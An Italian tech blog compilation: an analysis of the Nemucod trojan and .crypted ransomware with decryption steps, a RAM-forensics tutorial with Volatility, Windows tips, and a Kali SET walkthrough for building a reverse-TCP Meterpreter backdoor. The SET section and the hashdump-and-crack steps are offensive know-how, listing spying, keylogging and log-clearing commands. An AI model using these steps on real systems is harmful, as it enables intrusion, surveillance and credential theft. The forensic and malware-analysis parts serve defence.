Trojan Nemucod e ransomware .CRYPTED

ATTENZIONE:

Danneggiare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Nemucod è un trojan, realizzato in Javascript, che provvede a scaricare e ad eseguire altri malware sulla macchina infetta. Inizialmente Nemucod è stato utilizzato per scaricare e installare i ransomware TeslaCrypt e Locky sui PC delle vittime ma di recente viene utilizzato per installare un altro tipo di ransomware che provvede a criptare i dati degli utenti aggiungendo l'estensione .crypted e creando un file DECRYPT.txt sul desktop della vittima. Nel file DECRYPT.txt il malfattore avvisa l'utente che i suoi file sono stati crittografati utilizzando l'algoritmo RSA-1024 inoltre contiene informazioni sul riscatto e su come ed entro quando pagarlo. In realtà il ransomware utilizza un semplice algoritmo XOR (algoritmo simmetrico) per la crittografia dei dati ed è possibile decriptare i file senza pagare alcun riscatto, per di più le copie shadow e i punti di ripristino non vengono cancellati.

Nemucod si diffonde tramite email: la vittima riceve un email che ha tutta l'aria di un messaggio legittimo (ad uno sguardo superficiale il mittente sembra attendibile/conosciuto e persino il contenuto spesso risulta convincente). Aprendo l'allegato Javascript (.JS) presente all'interno del messaggio lo script lancia una serie di comandi, crea alcuni file batch (.bat) e provvede a scaricare l'eseguibile del ransomware nella cartella temporanea dell'account utente ( %TEMP%\<numeri_casuali>.exe). 
Dal seguente link è possibile scaricare una delle varianti di Nemucod, si tratta di un file di testo contenente il codice Javascript utilizzato dal Trojan (ATTENZIONE a non renderlo eseguibile ed eseguirlo sulla propria postazione!).
DOWNLOAD NEMUCOD .JS

FIG 1 - Nemucod Javascript - Download del ransomware

Una volta che Nemucod ha completato il download del file eseguibile del ransomware, provvede a preparare un file di testo contenente il messaggio da visualizzare alla vittima e lancia uno script CMD che esegue la scansione del sistema alla ricerca dei file da cifrare. I file interessati dal ransomware sono quelli con le seguenti estensioni
*.zip *.rar *.7z *.tar *.gz *.xls *.xlsx *.doc *.docx *.pdf *.rtf *.ppt *.pptx *.sxi *.odm *.odt *.mpp *.ssh *.pub *.gpg *.pgp *.kdb *.kdbx *.als *.aup *.cpr *.npr *.cpp *.bas *.asm *.cs *.php *.pas *.vb *.vcproj *.vbproj *.mdb *.accdb *.mdf *.odb *.wdb *.csv *.tsv *.psd *.eps *.cdr *.cpt *.indd *.dwg *.max *.skp *.scad *.cad *.3ds *.blend *.lwo *.lws *.mb *.slddrw *.sldasm *.sldprt *.u3d *.jpg *.tiff *.tif *.raw *.avi *.mpg *.mp4 *.m4v *.mpeg *.mpe *.wmf *.wmv *.veg *.vdi *.vmdk *.vhd *.dsk

Ai file viene aggiunta l'estensione .crypted e viene richiamato l'eseguibile del ransomware che provvede a cifrare i primi 2048 bytes del file (anche se in alcune varianti il file viene cifrato per intero) utilizzando l'algoritmo XOR. Questo modo di operare spiega il perchè, in alcuni casi, basta rimuovere l'estensione .crypted per poter aprire nuovamente i file. Può capitare, infatti, che l'eseguibile non venga scaricato o eseguito correttamente e, pertanto, i file non vengono effettivamente cifrati.
Lo script CMD si autoelimina dopo aver aggiunto alcune chiavi di registro in modo tale che il ransomware venga eseguito ad ogni logon dell'utente. Una volta terminata la cifratura dei file viene visualizzato a video il contenuto del file DECRYPT.txt con le informazioni e istruzioni su come pagare il riscatto. Il contenuto del file è simile a quello mostrato in FIG 2

FIG 2 - Nemucod - DECRYPT.txt

Lo script .JS di Nemucod continua la sua opera tentando di scaricare altri malware/virus sulla postazione infetta.

I file relativi a Nemucod sono:
%Temp%\<numeri_casuali>.txt
%Temp%\<numeri_casuali>.exe
%LocalAppData%\evum\
%LocalAppData%\evum\1QGNQ.2MGvFO
%AppData%\BlastoffCounterpoiseDissimilitude
%AppData%\ForesideDopattaEmpyrean
%AppData%\gangbang.dll
%AppData%\htmlhelp.title.xml
%AppData%\libertine.dll
%AppData%\minimize_hover.png
%AppData%\System.dll
%Desktop%\Decrypt.txt

Le chiavi e i valori di registro creati da Nemucod sono:
HKCU\Software\Classes\.2MGvFO
HKCU\Software\Classes\.2MGvFO\ ayC5
HKCU\Software\Classes\ayC5
HKCU\Software\Classes\ayC5\shell
HKCU\Software\Classes\ayC5\shell\open
HKCU\Software\Classes\ayC5\shell\open\command
HKCU\Software\3c1cee05f3
HKCU\Software\Classes\ayC5\shell\open\command\
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ [caratteri_illeggibili]
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Crypted %Temp%\502105.txt
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ [caratteri_illeggibili]

Per eliminare il Nemucod ed altri malware dalla macchina infetta, eseguire la scansione con un antivirus  (come ad es. Kaspersky Rescue Disk) e un antimalware (come Malwarebytes) aggiornati.

Recuperare i dati .CRYPTED

Uno strumento per decriptare i dati era stato inizialmente fornito dall'utente macomaco su bleepingcomputer, tuttavia il fatto di richiedere l'installazione di Python lo rendeva poco adatto agli utenti meno esperti. Un nuovo strumento è stato rilasciato da Fabian Wosar di Emsisoft.

Il tool può essere scaricato da https://decrypter.emsisoft.com/nemucod

Passo 1: 
Creare una cartella sul desktop e inserire all'interno il tool appena scaricato. Copiare all'interno della cartella un file cifrato e lo stesso file non cifrato. Se non si dispone di un file non cifrato è possibile provare a cercare tra le immagini della cartella %public%.

FIG 3 - Nemucod - Creazione cartella sul desktop

Passo 2: 
Selezionare i 2 file e trascinarli sull'eseguibile decrypt_nemucod.exe. Nel caso venga visualizzata la finestra UAC (avviso di sicurezza) proseguire cliccando su OK. Il tool tenterà di ricavare la chiave di cifratura e al termine visualizzerà una finestra con la chiave trovata. Cliccare su OK per proseguire.

FIG 4 - Nemucod - Decryption Key

Passo 3: 
Accettare la licenza di utilizzo cliccando su Sì per proseguire e visualizzare la finestra Emsisoft Decrypter for Nemucod.

FIG 5 - Nemucod - License terms

Passo 4: 
Per default il tool provvede a decriptare solo i file presenti sul disco C:. Per aggiungere altri dischi cliccare sul pulsante Add File(s) e indicare il disco da aggiungere alla lista. Quando pronti, cliccare sul pulsante Decrypt per avviare l'operazione. Al termine verrà visualizzato il log delle operazioni effettuate che è possibile salvare (cliccando su Save log) e consultare in seguito.

FIG 6 - Nemucod - Emsisoft Decrypter

FIG 7 - Nemucod - Emsisoft Decrypter, risultati

Windows: Estrarre e analizzare i dati contenuti nella RAM

La RAM di un PC è una memoria volatile, quando il sistema viene spento tutte le informazioni in essa contenute vengono perse. Tra le informazioni presenti in RAM è possibile trovare password, informazioni relative ai socket aperti, il contenuto della clipboard, parti di un documento non ancora salvato su disco, ecc.  Tali informazioni non sono utili solo nel campo dell'informatica forense ma possono essere utili anche a chi si occupa di sicurezza informatica per scoprire vulnerabilità di alcuni software oppure per recuperare la chiave privata da utilizzare per decriptare i dati cifrati da un ransomware (ultimamente molto diffusi).

Ci sono molti tool in grado di catturare i dati presenti in memoria tuttavia uno dei più utilizzati è il Forensic Tool Kit (FTK) messo a disposizione da AccessData. In particolare utilizzerò il tool FTK Imager di AccessData scaricabile gratuitamente dal seguente link
DOWNLOAD FTK Imager

Installazione di AccessData FTK Imager

1. Una volta scaricato FTK Imager possiamo procedere alla sua installazione cliccando sul file eseguibile. Nella prima schermata di benvenuto basta cliccare su Next per proseguire con l'installazione.
   
   

   

   FIG 1 - Installazione AccessData FTK Imager

2. Accettiamo i termini della licenza selezionando l'apposita opzione e clicchiamo sul pulsante Next per proseguire.
   
   

   

   FIG 2 - AccessData FTK Imager, Termini di licenza

3. Nella schermata successiva verifichiamo il percorso di installazione del Toolkit e clicchiamo su Next.
   
   

   

   FIG 3 - AccessData FTK Imager, Percorso di installazione

4. A questo punto siamo pronti per procedere con l'installazione del Toolkit. Cliccare sul pulsante Install per dare seguito all'installazione.
   
   

   

   FIG 4 - AccessData FTK Imager, Installazione

5. Al termine dell'installazione, lasciando la spunta all'opzione Launch AccessData FTK Imager e cliccando su Finish possiamo avviare il toolkit
   
   

   

   FIG 5 - AccessData FTK Imager, Fine installazione e avvio

Eseguire il dump della memoria con FTK Imager

1. Una volta avviato FTK Imager, per catturare l'intero contenuto della memoria RAM, cliccare sul menu File quindi selezionare Capture memory
   
   

   

   FIG 6 - AccessData FTK Imager, Capture Memory...

2. Nella finestra successiva indicare il nome da assegnare al file di dump della memoria, il percorso dove si intende salvare il file  e specificare se si intende salvare anche il file della memoria virtuale (pagefile.sys) quindi cliccare su Capture Memory.
   
   

   

   FIG 7 - AccessData FTK Imager, Memory Capture
3. Non resta che attendere la fine dell'operazione. 
   
   

   

   FIG 8 - AccessData FTK Imager, Memory Progress

Per analizzare il file di dump creato è possibile utilizzare il tool Volatility (scaricabile da QUI ) oppure utilizzare Kali Linux che lo include già al suo interno. Di seguito mostrerò proprio come utilizzare Kali Linux per analizzare il file di dump creato con FTK Imager.

Analizzare il file di dump creato con FTK Imager utilizzando Kali Linux

1. Da Kali Linux, avviare la finestra terminale
2. Posizionarsi su /usr/share/volatility utilizzando il comando 
   cd /usr/share/volatility
   
   

   

   FIG 9 - Kali Linux, Volatility

3. Lanciando il comando python vol.py -h è possibile visualizzare l'elenco delle opzioni e dei plugin che è possibile utilizzare con Volatility. I plugin ci consentono di estrarre dal file di dump diverse informazioni.
4. Per visualizzare le informazioni del file .mem è necessario lanciare il comando python vol.py imageinfo -f /<percorso_e_nome_file.mem> indicando il percorso e il nome del file .mem creato con FTK Imager. Supponiamo di aver copiato tale file, nominato memdump.mem, sul desktop di Kali Linux, in questo caso il comando da lanciare è il seguente 
   python vol.py imageinfo -f /root/Desktop/memdump.mem
   
   

   

   FIG 10 - Kali Linux, Volatility - Imageinfo

   Dall'analisi del file di dump possiamo estrarre diverse informazioni come la versione del sistema operativo, il numero di CPU, gli indirizzi fisici per ciascun processore, la data e ora relativa alla creazione del dump, ecc.
5. Un'altra informazione utile che possiamo estrapolare dal file di dump della RAM è quella relativa ai processi che erano in esecuzione sulla macchina. Il comando da eseguire da terminale è il seguente
   python vol.py pslist --profile=Win10x64 -f /root/Desktop/memdump.mem
   Dove al posto di Win10x64 va indicato il profilo (Suggested Profile) visualizzato dal comando visto nel punto 4
   

   

   FIG 11 - Kali Linux, Volatility - pslist

6. Anche il plug-in pstree permette di visualizzare i processi che erano in esecuzione e l'output viene formattato evidenziando la struttura ad albero.
   python vol.py pstree --profile=Win10x64 -f /root/Desktop/memdump.mem
   
   

   

   FIG 12 - Kali Linux, Volatility - pstree

7. Per visualizzare l'elenco dei driver che erano caricati è possibile utilizzare il plugin driverscan
   python vol.py driverscan --profile=Win10x64 -f /root/Desktop/memdump.mem
   
   

   

   FIG 13 - Kali Linux, Volatility - driverscan

8. Per conoscere le ultime console eseguite sulla workstation
   python vol.py consoles --profile=Win10x64 -f /root/Desktop/memdump.mem
9. Per visualizzare i servizi che erano in esecuzione
   python vol.py svcscan --profile=Win10x64 -f /root/Desktop/memdump.mem
   

   

   FIG 14 - Kali Linux, Volatility - svcscan

10. Per visualizzare i driver installati e relative periferiche. 
    python vol.py devicetree --profile=Win7SP1x64 -f /root/Desktop/memdump.mem
    
    

    

    FIG 15 - Kali Linux, Volatility - devicetree

11. Per visualizzare gli Hive del registro caricati in memoria 
    python vol.py hivelist --profile=Win7SP1x64 -f /root/Desktop/memdump.mem
    
    

    

    FIG 16 - Kali Linux, Volatility - hivelist

    I due indirizzi evidenziati in figura sono indirizzi virtuali del hive di SAM e SYSTEM. Questi 2 Hive contengono informazioni sufficienti ad estrarre l'hash delle password di Windows (utilizzando il plugin hasdump mostrato di seguito)
12. Con le informazioni recuperate al punto 11, possiamo eseguire il plugin hashdump per risalire all'hash delle password di Windows. 
    python vol.py hashdump --profile=Win7SP1x64 -f /root/Desktop/memdump.mem -y 0xfffff8a000024010 -s 0xfffff8a001f2f010
    
    

    

    FIG 17 - Kali Linux, Volatility - hashdump

L'hash delle password può essere utilizzato per risalire alla password in chiaro degli account di Windows. Dall'output fornito da hashdump, individuare l'account par il quale si intende risalire alla password (in FIG 18 l'account di nostro interesse è Virtual) e copiare l'hash della password (evidenziato in FIG 18).
Una volta trovato l'hash si può tentare di risalire alla password di Windows tramite l'utilizzo di appositi tool, tabelle già compilate o servizi web come https://crackstation.net/

FIG 18 - Kali Linux, Hash della password

Come si intuisce l'argomento è molto vasto e per trattarlo completamente richiederebbe la stesura di un libro. L'articolo vuole essere solo uno spunto indicando le operazioni basilari che è possibile effettuare.

Windows Quick Tip: Impostare l'affinità del processore e limitare il numero di core utilizzati da un processo

Settare l'affinità del processore permette di selezionare, per un determinato processo, quanti e quali core della CPU utilizzare. Per default Windows permette ad un processo di accedere a tutti i core disponibili, tuttavia tale impostazione può creare problemi, o comunque ridurre le prestazioni, delle applicazioni non ottimizzate per lavorare con più core. In questo caso per l'applicazione incriminata possiamo impostare l'affinità del processore in modo che venga utilizzato un solo core.

Per impostare l'affinità di un determinato processo possiamo procedere nel seguente modo:

• Avviare l'applicazione/processo;
• Avviare Task Manager (CTRL+SHIFT+ESC) e posizionarsi sulla scheda Processi  o Dettagli (a seconda della versione di Windows);
• Cliccare con il tasto destro del mouse sul processo a cui vogliamo settare l'affinità e, dal menu contestuale, selezionare la voce Imposta Affinità. A questo punto non resta che selezionare su quali core il processo deve essere eseguito.

FIG 1 - Impostazione Affinità tramite Task Manager/Gestione Attività

Agendo tramite il Task Manager (o Gestione Attività) l'impostazione è solo temporanea: terminando e riavviando il processo le impostazioni di affinità torneranno quelle di default. Quello che possiamo fare è lanciare il processo con alcune opzioni da riga di comando oppure creare un collegamento. Prima però è necessario fare una piccola premessa.
I core della CPU sono numerati a partire da 0. Supponiamo che la nostra CPU sia dotata di 4 Core fisici. Windows, con l'utilizzo della tecnologia Hyper-Threading, vedrà 8 core numerati da 0 a 7 così come mostrato in tabella. Supponiamo di voler eseguire un processo solo sul Core 1 e Core 3. A questi 2 core assegniamo il valore 1 mentre ai restanti assegniamo valore 0 (si veda la seconda riga della tabella).

Core 7	Core 6	Core 5	Core 4	Core 3	Core 2	Core 1	Core 0
0	0	0	0	1	0	1	0

Nella seconda riga della tabella abbiamo il seguente valore binario 00001010 che convertito in esadecimale (HEX) corrisponde ad A. Questo valore verrà utilizzato all'interno del comando per impostare l'affinità del processore in modo che il processo venga eseguito solo sui Core 1 e 3.

Per creare un collegamento che imposti l'affinità del processore di un determinato processo:

• Cliccare con il tasto destro del mouse su un'area vuota del desktop, quindi selezionare dal menu contestuale l'opzione Nuovo e poi cliccare su Collegamento.
  
• Nella casella di testo Immettere il percorso per il collegamento inserire il comando che si intende eseguire. In questo caso il comando sarà del tipo
  cmd.exe /c start "Nome Programma" /affinity <numero_core_in_hex> "percorso completo file"
  ad es. se vogliamo eseguire notepad.exe sul core 3 e 1 il comando sarà
  cmd.exe /c start "Blocco note" /affinity A "C:\Windows\notepad.exe"
  
  

  

  FIG 2 - Creazione collegamento per impostare l'affinità del processore

• Una volta immesso il comando cliccare sul pulsante Avanti e digitare un nome da dare al collegamento quindi cliccare su Fine.
  

  

  FIG 3 - Specificare un nome per il collegamento

Cliccando sul collegamento appena creato l'applicazione verrà eseguita solo sui core impostati. Se da Task Manager verifichiamo le impostazioni di affinità vedremo che sono impostate sul core 3 e 1 così come indicato nel collegamento.

FIG 4 - Impostazione affinità del processore

Windows Quick Tip: Disabilitare il tasto Windows della tastiera agendo tramite il registro

Ormai su tutte le tastiere è presente il tasto con il logo di Windows che consente, da solo o in combinazione ad altri tasti, di accedere a diverse funzioni messe a disposizione dal sistema operativo.

É possibile disattivare il tasto Windows agendo sul registro di sistema attenendosi alla seguente procedura:

• Avviare l'editor del registro di sistema (WIN+R e digitare regedit seguito da invio);
• Posizionarsi su
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout
• Creare un nuovo Valore Binario e rinominarlo in Scancode Map 
• Nel campo dati del valore appena creato digitare 00000000000000000300000000005BE000005CE000000000

Affinché la modifica diventi effettiva è necessario riavviare il sistema.

Per ripristinare la funzionalità del tasto Windows basta eliminare il valore Scancode Map

FIG 1 - Disabilita tasto Windows: Scancode Map

Di seguito è possibile scaricare i file .reg per abilitare/disabilitare il tasto Windows
DOWNLOAD

Kali Linux: Creare una backdoor per Windows utilizzando SET

Social-Engineer Toolkit (SET), scritto da David Kennedy (ReL1K), è un insieme di tool progettati per eseguire attacchi basati sull'ingegneria sociale. In quest'articolo mostrerò uno dei possibili attacchi realizzabili con questo toolkit incluso in Kali Linux che prevede la creazione di un file eseguibile che, se eseguito sulla macchina della vittima, apre una backdoor.
                 
ATTENZIONE:

Danneggiare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

• La prima operazione da effettuare è quella di avviare SET: da terminale eseguire il comando setoolkit oppure, dall'interfaccia grafica di Kali Linux (Versione 2016.1), cliccare su Applications>Social Engineering Tools>Social Engineering Toolkit.
  

  

  FIG 1 - Social Engineering Tools

• Dal menu che appare selezionare l'opzione 1) Social-Engineering Attacks
  

  

  FIG 2 - Social-Engineering Attacks

• Selezionare l'opzione 4) Create a Payload and Listener.
  

  

  FIG 3 - Create a Payload and Listener

• Selezionare 2) Windows Reverse_TCP Meterpreter.
  

  

  FIG 4 - Windows Reverse_TCP Meterpreter

• Indicare l'indirizzo IP che il payload deve contattare una volta che viene eseguito dalla vittima (indirizzo IP di chi attacca).
  

  

  FIG 5 - IP Address

• Specificare la porta del listener (in genere 443) confermando con invio. Verrà creato un eseguibile chiamato payload.exe (in /root/.usr/payload.exe) che consente di aprire una backdoor sulla workstation della vittima.
  

  

  FIG 6 - Porta su cui attendere la comunicazione del payload

  
  

  

  FIG 7 - Percorso del payload.exe da eseguire sulla macchina della vittima

• A questo punto viene richiesto se si intende avviare il listener sulla macchina di chi sta eseguendo l'attacco. Digitare yes seguito da invio per avviare la msfconsole.
  

  

  FIG 8 - Avvio del listener

• Una volta che msfconsole è stata avviata non resta che attendere che il file payload.exe venga eseguito sulla macchina della vittima e verrà aperta una sessione di Meterpreter.
  

  

  FIG 9 - Sessione Meterpreter
• Digitare il comando sessions -i 1 dove 1 rappresenta il numero della sessione che si intende selezionare (in FIG 9 è possibile vedere il numero della sessione nella dicitura session 1 opened)
  

  

  FIG 10 - Attivare la sessione

• Per fare in modo che meterpreter rimanga aperto è necessario migrare il payload su un altro processo. Per eseguire questa operazione è necessario disporre del PDI (process ID) di un altro processo. Usare il comando ps per visualizzare i processi attualmente in esecuzione sulla macchina vittima. Una volta individuato il PID su cui vogliamo migrare utilizziamo il comando
  migrate <PID del processo>
  ad es
  migrate 4878
  

Digitando help visualizziamo l'elenco dei comandi che possiamo eseguire sulla macchina della vittima

Possiamo riavviare la postazione, trasferire file, terminare processi, prendere il controllo della webcam/microfono, ecc.

Di seguito un elenco dei comandi che è possibile eseguire:

Core Commands
=============

    Command                   Description
    -------                        -----------
    ?                               Help menu
    background                Backgrounds the current session
    bgkill                         Kills a background meterpreter script
    bglist                         Lists running background scripts
    bgrun                        Executes a meterpreter script as a background thread
    channel                     Displays information or control active channels
    close                         Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                           Terminate the meterpreter session
    get_timeouts             Get the current session timeout values
    help                          Help menu
    info                           Displays information about a Post module
    irb                            Drop into irb scripting mode
    load                          Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                     Migrate the server to another process
    quit                           Terminate the meterpreter session
    read                          Reads data from a channel
    resource                    Run the commands stored in a file
    run                            Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                         Force Meterpreter to go quiet, then re-establish session.
    transport                   Change the current transport mechanism
    use                           Deprecated alias for 'load'
    uuid                          Get the UUID for the current session
    write                         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------             -----------
    cat                 Read the contents of a file to the screen
    cd                  Change directory
    dir                  List files (alias for ls)
    download        Download a file or directory
    edit                Edit a file
    getlwd            Print local working directory
    getwd             Print working directory
    lcd                 Change local working directory
    lpwd               Print local working directory
    ls                   List files
    mkdir             Make directory
    mv                 Move source to destination
    pwd                Print working directory
    rm                  Delete the specified file
    rmdir              Remove directory
    search            Search for files
    show_mount   List all mount points/logical drives
    upload            Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------             -----------
    arp                 Display the host ARP cache
    getproxy         Display the current proxy configuration
    ifconfig           Display interfaces
    ipconfig          Display interfaces
    netstat           Display the network connections
    portfwd          Forward a local port to a remote service
    route             View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------             -----------
    clearev           Clear the event log
    drop_token     Relinquishes any active impersonation token.
    execute          Execute a command
    getenv           Get one or more environment variable values
    getpid            Get the current process identifier
    getprivs         Attempt to enable all privileges available to the current process
    getsid            Get the SID of the user that the server is running as
    getuid            Get the user that the server is running as
    kill                 Terminate a process
    ps                  List running processes
    reboot            Reboots the remote computer
    reg                Modify and interact with the remote registry
    rev2self         Calls RevertToSelf() on the remote machine
    shell              Drop into a system command shell
    shutdown       Shuts down the remote computer
    steal_token    Attempts to steal an impersonation token from the target process
    suspend         Suspends or resumes a list of processes
    sysinfo          Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------              -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop        Get the current meterpreter desktop
    idletime             Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start    Start capturing keystrokes
    keyscan_stop     Stop capturing keystrokes
    screenshot         Grab a screenshot of the interactive desktop
    setdesktop         Change the meterpreters current desktop
    uictl                  Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------              -----------
    record_mic       Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list     List webcams
    webcam_snap  Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------             -----------
    getsystem       Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------             -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------             -----------
    timestomp     Manipulate file MACE attributes

Windows Quick Tip: Visualizzare la data e ora di compilazione di un file eseguibile

Quando si installa un'applicazione può capitare che la data di creazione del file eseguibile (.exe) venga impostata alla data attuale. I file eseguibili contengono al loro interno dei metadati. Alcuni di questi sono visibili nella finestra relativa alle proprietà del file, altri, come la data e l'ora di compilazione originale, possono essere estratti dal file tramite appositi tool. 
Conoscere la data di compilazione originale del file eseguibile può essere utile per individuare la versione più recente.
Un tool che permette di estrarre tale informazione è PEStamp scaricabile da http://trax.x10.mx/pestamp.exe. Il tool occupa pochi KB e può essere lanciato dal prompt dei comandi passandogli come parametro il percorso e nome del file eseguibile.

Ad es.
pestamp <nome_file.exe>

FIG 1 - PEStamp

Per richiamare il tool da più percorsi come se fosse un comando nativo si può inserire il percorso di PEStamp.exe all'interno della variabile di sistema PATH oppure si può copiare il file all'interno di c:\windows.

Altri tool prodotti dallo stesso autore (FS1) si possono scaricare da http://trax.x10.mx/apps.html